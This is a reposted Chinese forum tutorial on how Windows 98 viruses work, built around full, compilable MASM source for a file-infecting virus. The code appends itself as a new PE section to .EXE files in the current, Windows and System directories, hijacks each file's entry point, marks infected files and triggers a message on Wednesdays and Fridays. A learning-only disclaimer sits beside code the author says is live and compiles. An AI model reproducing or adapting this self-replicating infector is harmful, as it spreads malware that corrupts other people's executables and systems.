发新话题
打印

[转载]Win98病毒制作原理(完整)

[转载]Win98病毒制作原理(完整)

本文出在 水色银光「 http://www.vbin.org/
引用:
本文出在 水色银光「 http://www.vbin.org/


一些网友给我写信,说代码看不懂或总是编译不过去。
因此我又将代码加了详细的解释,几乎是一句一个解释。
但是有关的代码并没有屏蔽,请大家调试时一定小心。|
这个小病毒感染当前目录、Windows目录、System目录的EXE文件
只要将此三个目录的EXE文件备份好(在纯DOS下可以恢复)调试时就算
感染了病毒也应该没问题的。
希望大家还是看懂代码再进行调试。
此代码可以编译通过。
--------------------------------------------------------------
一个基于98下的,具有病毒特性的程序。
病毒本来就是一个技术性蛮高的程序,但是因为他常常犯错,给人感觉又神秘又恐怖。
能过这段代码,你可以更深该的了解类似的程序。
知道他并不可怕,只是被一些人要到了不正当的地方。
其实有些程序利用病毒技术来做。还是非常好的(有些安全方面的程序就是利用这一技术)
本程序仅供学习使用,若用到不正当地方,本人概不负责!
感叹想当年如果有类似的源代码,我也不会走一些不该走的弯路。
阅读前提:了理PE文件结构。
复制内容到剪贴板
代码:
;=========================================< 彬 >==
;名 称: vBinLin病毒
   ; AngelSoft WorkGroup
;语 言: MASM Win98
;日 期: 2001年8月24日
;====================================================
;出 处: [url]http://www.vbin.org[/url]
;备 注: 有关代码未屏蔽!请注意!若没完全明白请误调试
   ; 病毒本是一种高级编程技术,本代码只供学习使用
   ; ,若用到其它用途本人概不负责!
;注 意: 如需转载,请保留此文件的完整性!!!!!
;===================================================
.386
.model flat,stdcall
  option casemap:none
  include \masm32\include\windows.inc
  include \masm32\include\kernel32.inc
  include \masm32\include\comctl32.inc
  include \masm32\include\user32.inc
  include \masm32\include\gdi32.inc
  include \masm32\include\comdlg32.inc

  includelib \masm32\lib\gdi32.lib
  includelib \masm32\lib\kernel32.lib
  includelib \masm32\lib\comctl32.lib
  includelib \masm32\lib\user32.lib
  includelib \masm32\lib\comdlg32.lib
;这是一些相关的定义,其实程序中根本就没用到
;只是我习惯,一股脑的全搬上来啦
;------------------------------------(上面的)--

.data
  mcaption db "你好朋友!",0
  mtitle  db "*标题*",0
; 主程序所用到的一些变量
;------------------------------------(上面的)--

.code
host_start:
   invoke MessageBox,NULL,offset mcaption,offset mtitle,64
   invoke ExitProcess,0
;主程序代码,只是简单的打一串字符而已。
;病毒代码运行完后,就会跳到此处执行。
;------------------------------------(上面的)--

BadDay SEGMENT PARA USE32 &#39;BadDay&#39;
   assume cs:BadDay,ds:BadDay
vstart:
   push ebp
   push esp
   call nstart
nstart:   
;;;;;;;;;;;;;
   pop ebp
   sub ebp,offset nstart
;病毒中常用的一种方法。得到一个偏移差。
;程序后面用到的所有变量都需要加上个这偏移差
;------------------------------------(上面的)--

;=========================
; *  更改程序入口地址  *
   cmp now_basein[ebp],0
   jnz gonext
   mov now_basein[ebp],401000h
  gonext:
   cmp des_basein[ebp],0
   jnz change
   mov des_basein[ebp],401000h
  change:
   mov eax,now_basein[ebp]
   push des_basein[ebp]
   pop  now_basein[ebp]
   mov des_basein[ebp],eax
;变量定义的的意思见后方
;程序开始执行时,当前程序的原入口地址会放到des_basein中
;由于程序中des_basein有别的用途,因此将此地址存放到
;now_basein,以便最后跳回原程序入口。
;------------------------------------(上面的)--

;-------------------------
;目录的开头部份
   lea eax,NowPath[ebp]
   push eax
   mov eax,256
   push eax
   call vGetCurrentDirectory
;通过API函数得到当前程序所在目录
;------------------------------------(上面的)--

   lea eax,NowPath[ebp]
   push eax
   lea eax,SrcDir[ebp]
   push eax
   call vlstrcpy
;保存当前目录
;------------------------------------(上面的)--

   mov NowPathNo[ebp],1
FindStartT:
   cmp NowPathNo[ebp],1
   jz GFindFt
   cmp NowPathNo[ebp],2
   jz GetWinD
   cmp NowPathNo[ebp],3
   jz GetSysD
   jmp AllFindEnd   
;根据NowPathNor值来判断感染哪个目录的文件
;------------------------------------(上面的)--

  GetWinD:  

   mov eax,256
   push eax
   lea eax,NowPath[ebp]
   push eax
   call vGetWindowsDirectory

   lea eax,NowPath[ebp]
   push eax
   call vSetCurrentDirectory
   jmp GFindFt
;得到WINDOWS所在目录,并且将其设为当前目录
;------------------------------------(上面的)--

  GetSysD:

   mov eax,256
   push eax
   lea eax,NowPath[ebp]
   push eax
   call vGetSystemDirectory

   lea eax,NowPath[ebp]
   push eax
   call vSetCurrentDirectory
;得到SYSTEM所在目录,并且将其设为当前目录
;------------------------------------(上面的)--

  GFindFt:
   lea eax,FindData[ebp]
   push eax
   lea eax,FileFilter[ebp]
   push eax
   call vFindFirstFile
   cmp eax,INVALID_HANDLE_value
   jz FindEnds
   mov hFind[ebp],eax
;查找当前目录下的第一个EXE文件
;------------------------------------(上面的)--

  GoOnFind:  
;以下是病毒传染部份
;-------------------------
   push 0
   push FILE_ATTRIBUTE_NORMAL
   push OPEN_EXISTING
   push 0
   push FILE_SHARE_READ+FILE_SHARE_WRITE
   push GENERIC_READ+GENERIC_WRITE
   lea eax,FindData[ebp].cFileName
   push eax
   call vCreateFile
;打开文件
;------------------------------------(上面的)--

   cmp eax,INVALID_HANDLE_value
   jz createfail

      mov hFile[ebp],eax
   push FILE_BEGIN
   push 0
   push 3ch
   push hFile[ebp]
   call vSetFilePointer
;将文件指针指到3CH处(见前面的讲的)
;------------------------------------(上面的)--

      push 0
   lea eax,byte_read[ebp]
   push eax
   push 4
   lea eax,PE_head_addr[ebp]
   push eax
   push hFile[ebp]
      call vReadFile
;得到PE头偏移地址
;------------------------------------(上面的)--
      
   cmp eax,0
      jz readfail
       push FILE_BEGIN
       push 0
       push PE_head_addr[ebp]
       push hFile[ebp]
       call vSetFilePointer
;指文件指针定位到PE头处
;------------------------------------(上面的)--
         
       mov Head_len[ebp],sizeof PE_head+sizeof Section_table
         
          push 0
          lea eax,byte_read[ebp]
       push eax
       push Head_len[ebp]
       lea eax,PE_head[ebp]
       push eax
       push hFile[ebp]
       call vReadFile
;从PE头处开始读,最所读数据存放在缓冲区中
;------------------------------------(上面的)--

       cmp dword ptr PE_head[ebp].Signature,IMAGE_NT_SIGNATURE
       jnz exitwrite
;检查是否是PE文件,不是就跳出
;------------------------------------(上面的)--

          cmp word ptr PE_head[ebp+1ah],0842h        
       jz exitwrite
;若已感染过也跳
;------------------------------------(上面的)--

      Noinfect:
          ;保存与程序入口相关的RVA
       push PE_head[ebp].OptionalHeader.AddressOfEntryPoint
          pop des_in[ebp]
          push PE_head[ebp].OptionalHeader.ImageBase
          pop des_base[ebp]
       mov eax,des_in[ebp]
       add eax,des_base[ebp]
       mov des_basein[ebp],eax         
;保存将要感染的程序的入口RVA和默认装入内存的地址
;------------------------------------(上面的)--
         

       movzx eax,PE_head[ebp].FileHeader.SizeOfOptionalHeader
       add eax,18h
       mov Section_addr[ebp],eax
;得到第一个节的地址
;------------------------------------(上面的)--
         
          mov checker_len[ebp],offset vend-offset vstart
;得到病毒代码的长度
;------------------------------------(上面的)--

          movzx eax,PE_head[ebp].FileHeader.NumberOfSections
       inc eax
       mov ecx,28h
       mul ecx
       add eax,Section_addr[ebp]
       add eax,PE_head_addr[ebp]
          cmp eax,PE_head[ebp].OptionalHeader.SizeOfHeaders
;检测当前文件头的剩余空间可否再加一个节。
;------------------------------------(上面的)--

       ja exitwrite
             lea esi,Section_table[ebp]
        movzx eax,PE_head[ebp].FileHeader.NumberOfSections
        mov ecx,28h
        mul ecx
        add esi,eax
        inc PE_head[ebp].FileHeader.NumberOfSections
             lea edi,new_section[ebp]
        xchg edi,esi
;填加一个节
;------------------------------------(上面的)--

        mov eax,[edi-28h+8]
        add eax,[edi-28h+0ch]
             mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
        div ecx
        inc eax
             mul ecx
        mov new_section[ebp].virt_addr,eax
;建立新块,并且块对齐,得到新块入口地址
;------------------------------------(上面的)--
        
        mov eax,checker_len[ebp]
        mov ecx,PE_head[ebp].OptionalHeader.FileAlignment
        div ecx
        inc eax
        mul ecx
        mov new_section[ebp].raw_size,eax
;得出新块的物理大小,按文件对齐
;------------------------------------(上面的)--            

             mov eax,checker_len[ebp]
        mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
        div ecx
        inc eax
        mul ecx
        mov new_section[ebp].virt_size,eax
;得出虚拟地址,按块对齐
;------------------------------------(上面的)--

         
             mov eax,[edi-28h+14h]
        add eax,[edi-28h+10h]
        mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
        div ecx
        inc eax
        mul ecx
        mov new_section[ebp].raw_offset,eax
;得到文件中的偏移。(按理说应该是文件最末)
;------------------------------------(上面的)--


             mov eax,new_section[ebp].virt_size
        add eax,PE_head[ebp].OptionalHeader.SizeOfImage
        mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment
        div ecx
        inc eax
        mul ecx
        mov PE_head[ebp].OptionalHeader.SizeOfImage,eax
;更新文件总尺寸。即原文件尺寸加上新块的虚拟尺寸然后对齐
;------------------------------------(上面的)--

             mov ecx,28h
        rep movsb
;填加新块内容
;------------------------------------(上面的)--            

        mov eax,new_section[ebp].virt_addr
        mov PE_head[ebp].OptionalHeader.AddressOfEntryPoint,eax
;改入口地址
;------------------------------------(上面的)--
            
        mov word ptr PE_head[ebp+1ah],0842h
;填加感染标志
;------------------------------------(上面的)--
            
             push FILE_BEGIN
        push 0
        push PE_head_addr[ebp]
        push hFile[ebp]
        call vSetFilePointer
;调指针
;------------------------------------(上面的)--

             push 0
        lea eax,byte_read[ebp]
        push eax
        push Head_len[ebp]
        lea eax,PE_head[ebp]
        push eax
        push hFile[ebp]
        call vWriteFile
;更新文件头
;------------------------------------(上面的)--

             push FILE_BEGIN
        push 0
        push new_section[ebp].raw_offset
        push hFile[ebp]
        call vSetFilePointer
;更新指针(到文件尾)
;------------------------------------(上面的)--

        push 0
        lea eax,byte_read[ebp]
        push eax
        push new_section[ebp].raw_size
        lea eax,vstart[ebp]
        push eax
        push hFile[ebp]
        call vWriteFile
;写病毒代码
;------------------------------------(上面的)--
       exitwrite:

      readfail:
    push hFile[ebp]
    call vCloseHandle
;关闭当前文件
;------------------------------------(上面的)--
   createfail:
   
  
;--------------------------------
;目录结尾区
EndDir:
   lea eax,FindData[ebp]
   push eax
   push hFind[ebp]
   call vFindNextFile
   cmp eax,0
   jnz GoOnFind
;查找下一个文件,然后继续感染,直到全感染全为止
;------------------------------------(上面的)--
FindEnds:
   push hFind[ebp]
   call vFindClose
   inc NowPathNo[ebp]
   inc NowPathNo[ebp]   ;<< 多加了几个1
   inc NowPathNo[ebp]   ;<<
   inc NowPathNo[ebp]   ;<<
   jmp FindStartT
;为了调试方便,在此只感染当前目录
;------------------------------------(上面的)--

AllFindEnd:
   lea eax,SrcDir[ebp]
   push eax
   call vSetCurrentDirectory

;恢复当前目录
;------------------------------------(上面的)--

;####[ 病毒发作区 ]########################;     

   lea eax,NowTimes[ebp]
   push eax
   call vGetSystemTime
   cmp NowTimes[ebp].wDayOfWeek,0003h
   jz InTimes
   cmp NowTimes[ebp].wDayOfWeek,0005h
   jnz ExitTimes
;根据时间决定,每周星期三和星期五发作
;------------------------------------(上面的)--

;--- 发作代码 -------------------
InTimes:
;--------------------------------
      push 0
      lea eax,MyTitle[ebp]
      push eax
      lea eax,MyTalk[ebp]
      push eax
      push 0
      call vMessageBox
;显示一个提示窗口
;------------------------------------(上面的)--

ExitTimes:

;###########################################;
; 恢复寄存器,跳回原程序处  
;------------------------------------------
      mov eax,now_basein[ebp]
      pop esp
      pop ebp
    push eax
;-------< 做好返回原程序的准备 >-----------
;;;;;;;;;;;;;;

   ret    ;返回主程序

;--------------------------
; 函数调用地址
;--------------------------
vCreatefile:
   mov jumpaddr[ebp],0BFF77B5BH
   jmp jumpaddr[ebp]

  vSetFilePointer:
   mov jumpaddr[ebp],0BFF771BBH
   jmp jumpaddr[ebp]
  
  vReadfile:
   mov jumpaddr[ebp],0BFF770B9H
   jmp jumpaddr[ebp]
  
  vWritefile:
   mov jumpaddr[ebp],0BFF77051H
   jmp jumpaddr[ebp]

  vCloseHandle:
   mov jumpaddr[ebp],0BFF7E2D9H
   jmp jumpaddr[ebp]

  vMessageBox:
   mov jumpaddr[ebp],0BFF541BAH
   jmp jumpaddr[ebp]

  vGetCurrentDirectory:
   mov jumpaddr[ebp],0BFF77A55H
   jmp jumpaddr[ebp]

  vGetWindowsDirectory:
   mov jumpaddr[ebp],0BFF779F8H
   jmp jumpaddr[ebp]

  vGetSystemDirectory:
   mov jumpaddr[ebp],0BFF779C2H
   jmp jumpaddr[ebp]
  
  vSetCurrentDirectory:
   mov jumpaddr[ebp],0BFF77A2EH
   jmp jumpaddr[ebp]

  vlstrcpy:
   mov jumpaddr[ebp],0BFF77378H
   jmp jumpaddr[ebp]

  vFindFirstfile:
   mov jumpaddr[ebp],0BFF77BD7H
   jmp jumpaddr[ebp]

  vFindNextfile:
   mov jumpaddr[ebp],0BFF77C0FH
   jmp jumpaddr[ebp]

  vFindClose:
   mov jumpaddr[ebp],0BFF76540H
   jmp jumpaddr[ebp]

  vGetSystemTime:
   mov jumpaddr[ebp],0BFFA1372H
   jmp jumpaddr[ebp]

  vExitWindowsEx:
   mov jumpaddr[ebp],0BFF5232CH
   jmp jumpaddr[ebp]

;  其它的略....


;不同的WIN系统这里的地址是不同的。
;因此说这个病毒并不是每个WIN系统都会传染的
;------------------------------------(上面的)--  

   ALIGN 4
   jumpaddr        dd      0
   PE_head_addr      dd      0
   checker_len      dd      0


   MyTitle         db      "MyTitle",0
   MyTalk          db      "MyTalk",0


   PE_head         IMAGE_NT_HEADERS   <0>
   Section_table     db      280h dup (0)
   Head_len       dd      0;sizeof PE_head+sizeof Section_table    ; PE文件头和块表的长度
  
   my_section    struc
   sec_name      db    2Eh,42h,61h,64h,44h,61h,79h,0             ; 块名
   virt_size     dd    0          ; 块长
   virt_addr     dd    0          ; 该块RVA地址
   raw_size      dd    0          ; 该块物理长度
   raw_offset    dd    0          ; 该块物理偏移
              dd    0,0,0        ; 未用
   sec_flags     dd    0E0000020h    ; 属性
   my_section   ends
   new_section   my_section <>


   secbuffer        db      512 dup (0)
   tempbuffer       db      128 dup (0)

   hFile          dd      0      
   des_in          dd      0
   des_base        dd      0
                db      "SRCIN",0
   des_basein       dd      0
   now_basein       dd      0
   byte_read        dd      0
   Section_addr      dd      0
   vsize          dd      0
;相关的变量定义
;------------------------------------(上面的)--

;-----------------------------
; 查找文件专用
   
   FileFilter db "*.exe",0
   FindData  WIN32_FIND_DATA <>
   hFind    dd 0
   NowPath   db 256 dup (0)
   NowPathNo  db 0
   SrcDir    db 256 dup (0)
;-----------------------------
   NowTimes  SYSTEMTIME  <>
;-----------------------------


vend:
BadDay ends

end vstart

TOP

发新话题